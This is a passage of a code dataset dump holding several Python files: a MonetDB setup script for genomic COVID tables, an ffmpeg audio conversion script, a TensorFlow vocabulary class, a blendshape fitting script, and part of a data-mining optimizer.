+{"seq_id":"55200122","text":"import pymonetdb\nimport re\nimport os\nimport sys\nimport datetime\nimport argparse\n\nhost = os.getenv('DB_HOST','monetdb.monetdb')\nport = os.getenv('DB_PORT', 50000)\ndb = os.getenv('DB', 'demo')\nschema = os.getenv('SCHEMA', 'kooplex')\n\n# Dont use username with '-' \nreadonly_username = os.getenv('READONLY_USERNAME', 'kooplex_reader')\nreadonly_pw = os.getenv('READONLY_PASSWORD', 'reader-pw')\nreadonly_fullname = os.getenv('READONLY_FULLNAME', 'Kooplex Reader')\n\np = os.getenv('SCHEMA_PATH', '../schema')\n\ntables = [ 'cov', 'vcf_all', 'vcf', 'meta', 'lineage_def', 'ecdc_covid_country_weekly', 'operation', 'unique_cov', 'unique_vcf' ]\nviews = [ 'unique_ena_run_summary', 'lineage0', 'lineage_base', 'lineage_other', 'lineage_not_analyzed', 'lineage' ]\n\ndef create_db(db):\n    #return \"SELECT 'CREATE DATABASE \\\"{0}\\\"' WHERE NOT EXISTS (SELECT FROM pg_database WHERE datname = '{0}')\".format(db)\n    return \"CREATE DATABASE \\\"{0}\\\"\".format(db)\n\ndef create_user(user, pw, full_name, schema = schema):\n    return \"CREATE USER \\\"{0}\\\" WITH UNENCRYPTED PASSWORD '{1}' NAME '{2}' SCHEMA \\\"{3}\\\"\".format(user, pw, full_name, schema)\n\ndef grant_read(user, db):\n    grants = []\n\n    for table in tables:\n        table = schema + \".\" + table\n        grants.append(\"GRANT SELECT ON TABLE {1} TO {0}\".format(user, table) )\n\n    for view in views:\n        view = schema + \".\" + view\n        grants.append(\"GRANT SELECT ON TABLE {1} TO {0}\".format(user, view) )\n\n    return grants\n\ndef db_exec(statement, transaction = True):\n    try:\n        t0 = datetime.datetime.now()\n        print (\"{0} SQL: {1}\".format(t0, statement))\n        cur = None\n        cur = myConnection.cursor()\n        cur.execute( statement )\n        if transaction:\n            myConnection.commit()\n            print (\"commited\")\n    except Exception as e:\n        print (\"ERROR: {}\".format(e))\n        if transaction:\n            myConnection.rollback()\n            print (\"rolled back\")\n    finally:\n        if cur:\n            cur.close()\n        t1 = datetime.datetime.now()\n        print (\"{0} the duration of running statement {1}\".format(t1, t1 - t0))\n\ndef con(db = db):\n    username = os.getenv('SECRET_USERNAME', 'monetdb')\n    password = os.getenv('SECRET_PASSWORD', 'monetdb')\n    \n    return pymonetdb.connect(username=username, password=password, hostname=host, database=db, port=port)\n\nif __name__ == '__main__':\n    tc = tables[:]\n    tc.append('all')\n\n    parser = argparse.ArgumentParser()\n    #parser.add_argument(\"-X\", \"--drop_db\", action = \"store_true\",\n    #                help = \"drop database\")\n    #parser.add_argument(\"-I\", \"--init_db\", action = \"store_true\",\n    #                help = \"create database\")\n    parser.add_argument(\"-u\", \"--create_user\", action = \"store_true\",\n                    help = \"create a database user\")\n    parser.add_argument(\"-d\", \"--drop_user\", action = \"store_true\",\n                    help = \"drop the database user\")\n    parser.add_argument(\"-a\", \"--grant_access\", action = \"store_true\",\n                    help=\"grant read only right to database user\")\n    parser.add_argument(\"-t\", \"--create_table\", choices = tc,\n                     help = \"create a table\")\n    parser.add_argument(\"-p\", \"--create_tables_append\", action = \"store_true\",\n                     help = \"create a copy table of vcf and cov to append new data\")\n    parser.add_argument(\"-D\", \"--drop_table\", choices = tc,\n                     help = \"drop a table\")\n    parser.add_argument(\"-B\", \"--backup_table\", choices = tables,\n                     help = \"backup a table\")\n    parser.add_argument(\"-f\", \"--filter_vcf\",\n                    help = \"filter vcf_all_append (recent consensus af>.1)\")\n    parser.add_argument(\"-r\", \"--rename_tables\", action = \"store_true\",\n                    help = \"rename *_append tables\")\n    parser.add_argument(\"-m\", \"--create_views\", action = \"store_true\",\n                    help = \"create views\")\n    parser.add_argument(\"-A\", \"--operate_on_append\", action = \"store_true\",\n                    help = \"operate on *_append\")\n    args = parser.parse_args()\n    '''\n    # drop databases\n    if args.drop_db:\n        myConnection = con(None)\n        print (\"{0} connected to db engine to create db {1}\".format(datetime.datetime.now(), db))\n        #TODO: check postgres v >=13, DROP DATABASE xy WITH (FORCE)\n        db_exec( \"DROP DATABASE IF EXISTS \\\"{0}\\\"\".format(db), transaction = False )\n        myConnection.close()\n        print (\"{} disconnected from db engine\".format(datetime.datetime.now()))\n        sys.exit(0)\n\n    # create databases\n    if args.init_db:\n        myConnection = con(None)\n        print (\"{0} connected to db engine to create db {1}\".format(datetime.datetime.now(), db))\n        db_exec( create_db(db), transaction = False )\n        myConnection.close()\n        print (\"{} disconnected from db engine\".format(datetime.datetime.now()))\n    '''\n    myConnection = con(db)\n    print (\"{0} connected to db {1}\".format(datetime.datetime.now(), db))\n\n    db_exec(\"Create schema if not exists \" + schema, transaction=False)\n    db_exec(\"set schema \" + schema, transaction=False)\n\n    # create user\n    if args.create_user:\n        statement = create_user(readonly_username, readonly_pw, readonly_fullname )\n        db_exec( statement, transaction = False )\n\n    # drop user\n    if args.drop_user:\n        statement = \"DROP USER \" + readonly_username\n        db_exec( statement, transaction = False )\n\n    # grant read only right to user\n    if args.grant_access:\n        for statement in grant_read(readonly_username, db):\n            db_exec( statement, transaction = True )\n\n    # create tables\n    if args.create_table:\n        if args.create_table == 'all':\n            for t in tables:\n                statement = open(os.path.join(p, \"table-{}.sql\".format(t))).read()\n                db_exec( statement, transaction = True )\n        else:\n            statement = open(os.path.join(p, \"table-{}.sql\".format(args.create_table))).read()\n            db_exec( statement, transaction = True )\n\n    # drop tables\n    if args.drop_table:\n        if args.drop_table == 'all':\n            for table in tables:\n                db_exec( \"DROP TABLE IF EXISTS {} CASCADE\".format(table), transaction = True )\n        else:\n            db_exec( \"DROP TABLE IF EXISTS {} CASCADE\".format(args.drop_table), transaction = True )\n\n    # copy production tables for appending new data\n    if args.create_tables_append:\n        db_exec( \"DROP TABLE IF EXISTS vcf_all_append\", transaction = True )\n        db_exec( \"CREATE TABLE vcf_all_append AS SELECT * FROM vcf_all\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS cov_append\", transaction = True )\n        db_exec( \"CREATE TABLE cov_append AS SELECT * FROM cov\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS meta_append\", transaction = True )\n        db_exec( \"CREATE TABLE meta_append AS select * from meta WITH NO DATA\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS unique_cov_append\", transaction = True )\n        db_exec( \"CREATE TABLE unique_cov_append AS SELECT * FROM unique_cov\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS unique_vcf_append\", transaction = True )\n        db_exec( \"CREATE TABLE unique_vcf_append AS SELECT * FROM unique_vcf\", transaction = True )\n\n    # backup a table\n    if args.backup_table:\n        db_exec( \"DROP TABLE IF EXISTS {}_backup\".format(args.backup_table), transaction = True )\n        db_exec( \"CREATE TABLE {0}_backup AS SELECT * FROM {0}\".format(args.backup_table), transaction = True )\n\n    # filter vcf_all above threshold\n    if args.filter_vcf:\n        db_exec( \"DROP TABLE IF EXISTS vcf_append\", transaction = True )\n        db_exec( \"CREATE TABLE vcf_append AS SELECT * FROM vcf_all_append WHERE \\\"af\\\" >= {}\".format(args.filter_vcf), transaction = True )\n\n    # create materialized views\n    if args.create_views:\n        for v in views:\n            statement = open(os.path.join(p, \"mview-{}.t.sql\".format(v))).read()\n            if args.operate_on_append:\n                statement = re.sub('%%POSTFIX%%', '_append', statement )\n            else:\n                statement = re.sub('%%POSTFIX%%', '', statement )\n            db_exec( statement, transaction = True )\n\n    # rename tables\n    if args.rename_tables:\n        db_exec( \"DROP TABLE IF EXISTS unique_cov\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS unique_vcf\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS vcf_all CASCADE\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS vcf CASCADE\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS cov CASCADE\", transaction = True )\n        db_exec( \"DROP TABLE IF EXISTS meta CASCADE\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS unique_cov_append RENAME TO unique_cov\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS unique_vcf_append RENAME TO unique_vcf\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS vcf_all_append RENAME TO vcf_all\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS vcf_append RENAME TO vcf\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS cov_append RENAME TO cov\", transaction = True )\n        db_exec( \"ALTER TABLE IF EXISTS meta_append RENAME TO meta\", transaction = True )\n        \n        for mv in views:\n            db_exec( f\"ALTER VIEW IF EXISTS {mv}_append RENAME TO {mv}\", transaction = True )\n\n\n    myConnection.close()\n    print (\"{} disconnected from db engine\".format(datetime.datetime.now()))\n","sub_path":"scripts/init_db.py","file_name":"init_db.py","file_ext":"py","file_size_in_byte":9546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"474058485","text":"import glob\nimport os\n\ndef do(command):\n    print(\"Running \" + command)\n    print(os.system(command))\n\n\nfiles = glob.glob(\"training/*.wav\")\nfor file in files:\n    if '4k' in file:\n        print(\"skipping \"+file)\n        continue\n    print(\"converting \" +file)\n    #-bufsize 4096 -b:v 4096\n    do(\"ffmpeg -i \\\"\"+file+\"\\\" -ar 2048 \\\"\"+file+\"-4k.wav\\\"\")\n    do(\"ffmpeg -i \\\"\"+file+\"-4k.wav\\\" -ac 1 \\\"\"+file+\"-4k-1-chan.wav\\\"\")\n    #remove silence\n    #do(\"ffmpeg -i \\\"\"+file+\"-4k-1-chan.wav\\\" -af silenceremove=1:0:-30dB:-1:0:0 \\\"\"+file+\"-4k-mono-silent.wav\\\"\")\n    do(\"mv \\\"\"+file+\"\\\" training/processed\")\n    do(\"rm \\\"\"+file+\"-4k.wav\\\"\")\n    #do(\"rm \\\"\"+file+\"-4k-1-chan.wav\\\"\")\n\n","sub_path":"convert_raw_data.py","file_name":"convert_raw_data.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"347931343","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport tensorflow as tf\nclass Vocabulary(object):\n def __init__(self,vocab_file,start_word=\"<S>\",end_word=\"</S>\",unk_word=\"<UNK>\"):\n  if not tf.gfile.Exists(vocab_file):\n   tf.logging.fatal(\"Vocab file %s not found.\",vocab_file)\n  tf.logging.info(\"Initializing vocabulary from file: %s\",vocab_file)\n  with tf.gfile.GFile(vocab_file,mode=\"r\")as f:\n   reverse_vocab=list(f.readlines())\n  reverse_vocab=[line.split()[0]for line in reverse_vocab]\n  assert start_word in reverse_vocab\n  assert end_word in reverse_vocab\n  if unk_word not in reverse_vocab:\n   reverse_vocab.append(unk_word)\n  vocab=dict([(x,y)for(y,x)in enumerate(reverse_vocab)])\n  tf.logging.info(\"Created vocabulary with %d words\"%len(vocab))\n  self.vocab=vocab \n  self.reverse_vocab=reverse_vocab \n  self.start_id=vocab[start_word]\n  self.end_id=vocab[end_word]\n  self.unk_id=vocab[unk_word]\n def word_to_id(self,word):\n  if word in self.vocab:\n   return self.vocab[word]\n  else:\n   return self.unk_id\n def id_to_word(self,word_id):\n  if word_id>=len(self.reverse_vocab):\n   return self.reverse_vocab[self.unk_id]\n  else:\n   return self.reverse_vocab[word_id]\n\n\n","sub_path":"CNIC-HC/inference_utils/vocabulary.py","file_name":"vocabulary.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"485992650","text":"import tensorflow as tf\nfrom Util.util import *\nimport numpy as np\n\n\"\"\"\n使用偏移量模型\n参考链接：https://www.tensorflow.org/api_docs/python/tf/contrib/opt/ScipyOptimizerInterface\n\"\"\"\nif __name__ == \"__main__\":\n    number_blendshapes = 39\n    blendshape_path = \"\\\\\\\\192.168.20.63\\\\ai\\\\Liyou_wang_data\\\\blendshapes\"\n    mesh_path = \"\\\\\\\\192.168.20.63\\\\ai\\\\Liyou_wang_data\\\\origin_wrap_face_align\"\n    out_path = \"\\\\\\\\192.168.20.63\\\\ai\\Liyou_wang_data\\\\tf_output_v3\"\n    v0, f0 = loadObj(os.path.join(blendshape_path, \"0.obj\"))\n    V = np.array(v0, dtype=np.float32).flatten()\n    for i in range(1, number_blendshapes):\n        v, f = loadObj(os.path.join(blendshape_path, \"{}.obj\".format(i)))\n        v = np.array(v, dtype=np.float32).flatten()\n        V = np.vstack((V, v))\n    V = np.delete(V, 0, axis=0)\n    b0 = np.array(v0, dtype=np.float32).flatten()\n    delta_V = V - b0\n    b0_tf = tf.constant(value=b0, name=\"mean_mesh\")\n\n    delta_v_tf = tf.constant(value=delta_V, name=\"blend_shapes\")\n    ini_coes = np.random.rand(1, number_blendshapes-1).astype(np.float32)\n    coes = tf.get_variable(initializer=ini_coes, name=\"coes\", trainable=True)\n    pre_mesh = tf.matmul(coes, delta_v_tf) + b0_tf\n    true_mesh = tf.placeholder(shape=[1, pre_mesh.shape[1]], dtype=tf.float32, name=\"input\")\n    # print(true_mesh)\n    loss = tf.reduce_mean(tf.squared_difference(1000*pre_mesh, 1000*true_mesh))\n    optimizer = tf.contrib.opt.ScipyOptimizerInterface(loss, var_to_bounds={coes: (0, 1)})\n    tf_config = tf.ConfigProto(allow_soft_placement=True)\n    tf_config.gpu_options.allow_growth = True\n    with tf.Session(config=tf_config) as sess:\n        sess.run(tf.global_variables_initializer())\n        names = names = [\"{}.obj\".format(n) for n in range(0, 1121)]\n        COES = []\n        for name in names:\n            last_loss = 100\n            count = 0\n            tr_mesh, _ = loadObj(os.path.join(mesh_path, name))\n            tr_mesh = np.array(tr_mesh, dtype=np.float32).reshape(1, -1)\n            while True:\n                optimizer.minimize(sess, feed_dict={true_mesh: tr_mesh})\n                diff = sess.run(loss, feed_dict={true_mesh: tr_mesh})\n                if np.abs(diff - last_loss) < 1e-8:\n                    print(\"ite is over in {} times\".format(count))\n                    coe = sess.run(coes)\n                    COES.append(coe)\n                    print(\"coe is {}\".format(coe))\n                    calculated_mesh = coe.dot(delta_V) + b0\n                    calculated_mesh = calculated_mesh.reshape(-1, 3)\n                    writeObj(os.path.join(out_path, \"tf-{}\".format(name)), calculated_mesh, f0)\n                    break\n                else:\n                    last_loss = diff\n                    count += 1\n                    # print(\"loss:{}\".format(diff))\n        save_pickle_file(os.path.join(out_path, \"coe.pkl\"), COES)\n\n\n\n","sub_path":"tf_constrained_fit_coe.py","file_name":"tf_constrained_fit_coe.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"269773240","text":"#!/usr/bin/env python3\n# vim: filetype=python ts=2 sw=2 sts=2 et :\n\"\"\"\nOptimizer, written as a data miner.  Break the data up into regions\nof 'bad' and 'better'. 'Interesting' things occur at very different\nfrequencies in 'bad' and 'better'. Find interesting bits. Combine\nthem. Repeat. Nearly all this processing takes log linear time.\n\n     :-------:                 explore  = better==bad\n     | Ba    | Bad <----.      planning = max(better - bad)\n     |    56 |          |      monitor  = max(bad - better)\n     :-------:------:   |      tabu     = min(bad + better)\n             | B    |   v\n             |    5 | Better\n             :------:\n\n# Install\n\nDownload file, `chmod +x file`/\n\nCheck it all installs correctly  using `./duo4.py -h`\n(should print help text).\n\nGet a small sample of the output by running on 'weather.csv'\n\n\n# License\n\n(c) Tim Menzies, 2021\nMIT License, https://opensource.org/licenses/MIT. The source code\ndoes not need to be public when a distribution of the software is\nmade. Modifications to the software can be release under any\nlicense. Changes made to the source code may not be documented.\n\n\"\"\"\n\nimport argparse\nimport random\nimport time\nimport math\nimport sys\nimport re\n\n\n#######################################################\nclass Obj():\n  \"\"\"Containers with set/get access, prints keys in sorted order\n  ignoring 'private' keys (those starting with '_').\"\"\"\n  def __init__(i, **d): i.__dict__.update(**d)\n  def __repr__(i): return str(\n      {k: v for k, v in sorted(i.__dict__.items()) if str(k)[0] != \"_\"})\n\n\nTHE = Obj(\n    best=0.5,\n    beam=10,\n    data=\"auto93.csv\",\n    path2data=\"../data\",\n    k=1,\n    m=2,\n    seed=13,\n    lives=128,\n    rowsamples=64,\n    xsmall=.35,\n    ysmall=.35,\n    Xchop=.5)\n\n\n#######################################################\ndef table(src):\n  \"\"\"Converts a list of cells into rows, summarized in columns. Row1\n  name describes each column.\n  Names with '>' and '<' are goals to maximize or minimize (respectively). For example, in\n  the following, we want to minimize weight (lbs) while maximizing acceleration (acc)\n  and miles per gallon (mpg).\n\n      cylinders,displ,hp,<lbs,>acc,model,origin,>mpg\n\n  For example, after reading weather.csv,\n  then `.cols` would have entries like the following (and note that\n  the first is for a symbolic column and the second is for a numeric):\n\n  ```\n      {'outlook' :  {\n              'has': # 'has' for symbolic is a dictionary\n                     {'sunny': 5, 'overcast': 4, 'rainy': 5},\n              'n'  : 14,\n              'pos': 0,\n              'txt': '_outlook',\n               'w' : 1}\n       '<temp'   :   {\n              'has': # 'has' for  numerics is a list\n                     [64, 85], # min and max value seen in this columnm\n              'n'  : 14,\n              'pos': 1,\n              'txt': '<temp'}\n      etc }\n  ```\n\n  Tables also collect rows with a 'score' (how often that row\n  dominates 'rowsamples' other rows) and 'klass' which is often often\n  that score is better than 'best'. e.g. if 'best'=0.5 then 'klass' is\n  true if this row 'scores' better than half the others; e.g. from\n  ../data/auto93.csv, here are the first and last four rows sorted by\n  'score'. Observe that we want to minimize lbs and maximize acc and mpg.\n  Hence, in the last rows, lbs is lower and acc and mpg is larger:\n\n      score  klass  cylin   displ   hp  <lbs  >acc   model   origin  >mpg\n      -----  ------ ------- ------- ---  ----  ----  ------  -------  -----\n      0.0    False  8       400     175  5140  12    71      1        10\n      0.0    False  8       440     215  4735  11    73      1        10\n      0.0    False  8       454     220  4354  9     70      1        10\n      0.0    False  8       455     225  4425  10    70      1        10\n      0.0    False  8       455     225  4951  11    73      1        10\n      -----  ------ ------- ------- ---  ----  ----  ------  -------  -----\n      0.98   True   4       91      60   1800  16.4  78      3        40\n      0.98   True   4       97      46   1835  20.5  70      2        30\n      1.0    True   4       85      '?'  1835  17.3  80      2        40\n      1.0    True   4       86      65   2110  17.9  80      3        50\n      1.0    True   4       97      52   2130  24.6  82      2        40\n\n  Also note that the 'klass' is 'True' for the better half and 'False'\n  otherwise.\n\n  \"\"\"\n  def Tbl(rows=[]): return Obj(cols={}, x={}, y={}, rows=rows)\n  def Row(cells=[]): return Obj(cells=cells, score=0, klass=True)\n\n  def Col(txt='', pos=0, w=1):\n    return Obj(n=0, txt=txt, pos=pos, has=None, spans=[],\n               w=-1 if \"<\" in txt else 1)\n\n  def head(tbl, x):\n    for pos, txt in enumerate(x):\n      if not \"?\" in txt:\n        tbl.cols[txt] = tmp = Col(txt, pos)\n        if \"<\" in txt or \">\" in txt or \"!\" in txt:\n          tbl.y[txt] = tmp\n        else:\n          tbl.x[txt] = tmp\n\n  def body(tbl, x):\n    def inc(col, x):\n      if col.has is None:\n        col.has = [math.inf, -\n                   math.inf] if u.isa(x, (float, int)) else {}\n        return inc(col, x)\n      col.n += 1\n      if u.symsp(col.has):\n        col.has[x] = col.has.get(x, 0) + 1\n      else:\n        if x > col.has[1]:\n          col.has[1] = x\n        if x < col.has[0]:\n          col.has[0] = x\n    [inc(c, x[c.pos]) for c in tbl.cols.values() if x[c.pos] != \"?\"]\n    tbl.rows += [Row(x)]\n\n  def footer(tbl):\n    for col in tbl.cols.values():\n      if u.numsp(col.has):\n        col.has.sort()\n  ##########################\n  tbl = Tbl()\n  for x in src:\n    (body if len(tbl.cols) else head)(tbl, x)\n  footer(tbl)\n  return tbl\n\ndef classify(tbl):\n  \"\"\"Count how often each row dominates some others.\n     Classify a row as True if it scores in the top _best_ range.\"\"\"\n  def norm(lst, x): return (\n      x - lst[0]) / (lst[-1] - lst[0] + 1E-32)\n\n  def better(tbl, row1, row2):\n    \"Zitler's continous domination predicate (from IBEA, 2005).\"\n    s1, s2, n = 0, 0, len(tbl.y)\n    for col in tbl.y.values():\n      pos, w = col.pos, col.w\n      a, b = row1.cells[pos], row2.cells[pos]\n      a, b = norm(col.has, a), norm(col.has, b)\n      s1 -= math.e**(w * (a - b) / n)\n      s2 -= math.e**(w * (b - a) / n)\n    return s1 / n < s2 / n\n  #######################\n  for row1 in tbl.rows:\n    row1.score = sum(better(tbl, row1, u.any(tbl.rows))\n                     for _ in range(THE.rowsamples)) / THE.rowsamples\n  for n, row in enumerate(sorted(tbl.rows, key=lambda z: z.score)):\n    row.klass = n > len(tbl.rows) * THE.best\n  return tbl\n\n\n#######################################################\ndef discretize(TBL):\n  \"\"\"Reports `bins` for each numeric columns. Initially,\n  columns of `N` (x,y) values  into bins of size N^Xchop.\n  Combines bins that are smaller than `sd(x)*xsmall`. Then combine\n  bins that are different by less than `sd(y)*ysmall`. Also, if\n  two adjacent bins are not not 'best', then they are dull and\n  we fuse them.  For example, from ../data/auto93.csv, we\n  get  learn that '-cylinders' effectively divides into 3:\n\n    [{'hi': 4, 'lo': -inf},\n     {'hi': 8, 'lo': 5},\n     {'hi': inf, 'lo': 5}]\n\n  Note that the above used 'best=.5' i.e. we were were dividing data\n  half:half into best:rest. But we ran the same code with 'best=.8' then\n  we find a different picture of what is interesting or not:\n\n    [{'hi': 4, 'lo': -inf},\n     {'hi': inf, 'lo': 3}]\n\n  That is, at 'best=.8' all we care about is whether or not 'cylinders'\n  is above or below 3.;\n\n  \"\"\"\n\n  def Span(lo=-math.inf, hi=math.inf, has=None):\n    return Obj(lo=lo, hi=hi, _has=has if has else [])\n\n  def pairs(lst, fx, fy):\n    xs, ys, xy = [], [], []\n    for one in lst:\n      x = fx(one)\n      if x != \"?\":\n        y = fy(one)\n        xs += [x]\n        ys += [y]\n        xy += [(x, y)]\n    ys = sorted(ys)\n    return (u.sd(sorted(xs)) * THE.xsmall,\n            u.sd(ys) * THE.ysmall,\n            ys[int(THE.best * len(ys))],\n            sorted(xy))\n\n  def div(xsmall, ysmall, ymin, xy):\n    n = len(xy)**THE.Xchop\n    while n < 4 and n < len(xy) / 2:\n      n *= 1.2\n    n, tmp, b4, span = int(n), [], 0, Span(lo=xy[0][0])\n    now = n\n    while now < len(xy) - n:\n      x = xy[now][0]\n      span.hi = x\n      now += 1\n      if (now - b4 > n and now < len(xy) - 2\n          and x != xy[now][0]\n              and span.hi - span.lo > xsmall):\n        span._has = [z[1] for z in xy[b4:now]]\n        tmp += [span]\n        span = Span(lo=xy[now][0])\n        b4 = now\n        now += n\n    tmp += [Span(lo=xy[b4][0], hi=xy[-1][0],\n                 has=[z[1] for z in xy[b4:]])]\n    out = merge(tmp, ymin, ysmall)\n    out[0].lo = -math.inf\n    out[-1].hi = math.inf\n    return out\n\n  def merge(b4, ymin, ysmall):\n    j, now = 0, []\n    while j < len(b4):\n      a = b4[j]\n      if j < len(b4) - 1:\n        b = b4[j + 1]\n        if (abs(u.mu(b._has) - u.mu(a._has)) < ysmall\n            or\n                (u.mu(b._has) < ymin and u.mu(a._has) < ymin)):\n          merged = Span(lo=a.lo, hi=b.hi, has=a._has + b._has)\n          now += [merged]\n          j += 2\n      now += [a]\n      j += 1\n    return merge(now, ymin, ysmall) if len(now) < len(b4) else now\n\n  for col in TBL.x.values():\n    if u.numsp(col.has):\n      col.spans = div(*pairs(TBL.rows,\n                             lambda z: z.cells[col.pos],\n                             lambda z: z.score))\n      print(f\"NUM {col.txt:12} :\", [x.hi for x in col.spans])\n    else:\n      print(f\"SYM {col.txt:12} :\", sorted(col.has.keys()))\n  return TBL\n\n\ndef counts(TBL):\n  \"\"\"Counts (class column attribute) inside `TBL`\n   (where attributes are the discretized attributes).\n   THe counts take the form: (cKass,attribute,range,col), count.\n   For example, with best=.9, the counts from ../data/auto93.csv\n   are as follows. Note the simplicity of the decision space:\n   all that matters is displacement and horsepower is above below\n   141 and 74\n\n      (False, 'displacement', 141, 1) 154\n      (False, 'displacement', inf, 1) 205\n      (False, 'horsepower', 74, 2) 48\n      (False, 'horsepower', inf, 2) 307\n      ....\n      (True, 'displacement', 141, 1) 38\n      (True, 'displacement', inf, 1) 1\n      (True, 'horsepower', 74, 2) 34\n      (True, 'horsepower', inf, 2) 3\n      ....\n\n   \"\"\"\n\n  def Counts(): return Obj(f={}, h={}, n=0)\n  out = Counts()\n  for row in TBL.rows:\n    k = row.klass\n    out.n += 1\n    out.h[k] = out.h.get(k, 0) + 1\n    for col in TBL.x.values():\n      x = u.cell(col, row)\n      if x:\n        v = (k, col.txt, x)\n        out.f[v] = out.f.get(v, 0) + 1\n  return out\n\n\n#######################################################\ndef learn(COUNTS):\n  def loop(rules, here, there):\n    lives = THE.lives\n    while True:\n      lives -= 1\n      total, rules = prune(rules)\n      if lives < 1 or len(rules) < 2:\n        return rules\n      rules += [combine(pick(rules, total),\n                        pick(rules, total),\n                        here, there)]\n\n  def value(rule, here, there, e=2):\n    b = like(rule, here, 2)\n    r = like(rule, there, 2)\n    return b**e / (b + r) if b > r else 0\n\n  def like(rule, h, hs=None):\n    hs = hs if hs else len(COUNTS.h)\n    like = prior = (COUNTS.h[h] + THE.k) / (COUNTS.n + THE.k * hs)\n    like = math.log(like)\n    for col, values in rule:\n      f = sum(COUNTS.f.get((h, col, v), 0) for v in values)\n      inc = (f + THE.m * prior) / (COUNTS.h[h] + THE.m)\n      like += math.log(inc)\n    return math.e**like\n\n  def combine(rule1, rule2, here, there):\n    val1, rule1 = rule1\n    val2, rule2 = rule2\n    tmp = dict()\n    for rule in [rule1, rule2]:\n      for k, lst in rule:\n        tmp[k] = tmp.get(k, set())\n        for v in lst:\n          tmp[k].add(v)\n    rule3 = sorted([[k, sorted(list(vs))] for k, vs in tmp.items()])\n    val3 = value(rule3, here, there)\n    return [val3, rule3]\n\n  def same(rule1, rule2):\n    if rule1[0] != rule2[0]:\n      return False\n    for x, y in zip(rule1[1], rule2[1]):\n      if x != y:\n        return False\n    return True\n\n  def prune(old):\n    ordered = [[s, r] for s, r in sorted(old, reverse=True)]\n    one = ordered[0]\n    unique = [one]\n    for two in ordered[1:]:\n      if not same(one, two):\n        unique += [two]\n      one = two\n    pruned = [[s, r] for s, r in unique if s > 0][:THE.beam]\n    return sum(s for s, _ in pruned), pruned\n\n  def pick(rules, total):  # (s1, r1) (s2,r2) (s3,r3) total=s1+s2+s3\n    n = u.r()\n    for rule in rules:\n      n -= rule[0] / total\n      if n <= 0:\n        return rule\n    return rule\n\n  def rule0(c, x, here, there):\n    rule = [[c, [x]]]\n    return [value(rule, here, there), rule]\n\n  out, all = {}, list(set([(c, x) for (_, c, x) in COUNTS.f]))\n  for there in COUNTS.h:\n    for here in COUNTS.h:\n      if here != there:\n        rules = loop([rule0(c, x, here, there)\n                      for c, x in all], here, there)\n        out[here] = [[value(r, here, there, 1), r] for _, r in rules]\n  return out\n\n#######################################################\nclass u:\n  \"misc utilities\"\n  def r(): return random.random()\n  def seed(x): return random.seed(x)\n  def any(x): return random.choice(x)\n\n  def cell(col, row):\n    \"\"\"HELPER.  Returns a cell value if it is not missing.\n    Also, if appropriate, Discretize it first.\"\"\"\n    def bin(spans, x):\n      for span in spans:\n        if span.lo <= x < span.hi:\n          return span.hi\n      return span.hi\n    #########\n    x = row.cells[col.pos]\n    if x != \"?\":\n      return bin(col.spans, x) if u.numsp(col.has) else x\n\n  def isa(x, y):\n    \"Returns true if `x` is of type `y`.\"\n    return isinstance(x, y)\n\n  def numsp(x):\n    \"Returns true if `x` is a container for numbers.\"\n    return u.isa(x, list)\n\n  def symsp(x):\n    \"Returns true if `x` is a container for symbols.\"\n    return u.isa(x, dict)\n\n  def mu(lst): return sum(lst) / len(lst)\n\n  def sd(lst): return (\n      lst[int(.9 * len(lst))] - lst[int(.1 * len(lst))]) / 2.56\n\n  def csv(file, sep=\",\", ignore=r'([\\n\\t\\r ]|#.*)'):\n    \"\"\"Misc: reads csv files into list of strings.\n    Kill whitespace and comments.\n    Converts  strings to numbers, it needed. For example,\n    the file .. / data / weather.csv is turned into\n\n      ['outlook', '<temp', 'humid', '?wind', '?!play']\n      ['sunny', 85, 85, 'FALSE', 'no']\n      ['sunny', 80, 90, 'TRUE', 'no']\n      ['overcast', 83, 86, 'FALSE', 'yes']\n      ['rainy', 70, 96, 'FALSE', 'yes']\n      etc\n\n      \"\"\"\n    def atom(x):\n      try:\n        return int(x)\n      except Exception:\n        try:\n          return float(x)\n        except Exception:\n          return x\n    with open(file) as fp:\n      for a in fp:\n        yield [atom(x) for x in re.sub(ignore, '', a).split(sep)]\n\n  def showRule(r):\n    def show1(k, v): return k + \" = (\" + ' | '.join(map(str, v)) + \")\"\n    s, rule = r\n    out = \"\"\n    return ' & '.join([show1(k, v) for k, v in rule])\n\n  def selects(t, rule):\n    def selects1(t, row, ands):\n      for txt, ors in ands:\n        val = u.cell(t.cols[txt], row)\n        if val:\n          if val not in ors:\n            return False\n      return True\n    s, rule = rule\n    return [row for row in t.rows if selects1(t, row, rule)]\n\n#######################################################\ndef _args(what, txt, d):\n  \"\"\"Misc: Converts a dictionary `d` of key = val\n     into command line arguments.\"\"\"\n  def arg(txt, val):\n    eg = \"[%s]\" % val\n    if val is False:\n      return dict(help=eg, action='store_true')\n    return dict(help=eg, default=val,\n                metavar=(\"I\" if u.isa(val, int) else (\n                    \"F\" if u.isa(val, float) else \"S\")),\n                type=(int if u.isa(val, int) else (\n                    float if u.isa(val, float) else str)))\n  ###############\n  p = argparse\n  parser = p.ArgumentParser(\n      prog=what, description=txt,\n      formatter_class=p.RawDescriptionHelpFormatter)\n  for key, v in d.__dict__.items():\n    parser.add_argument(\"-\" + 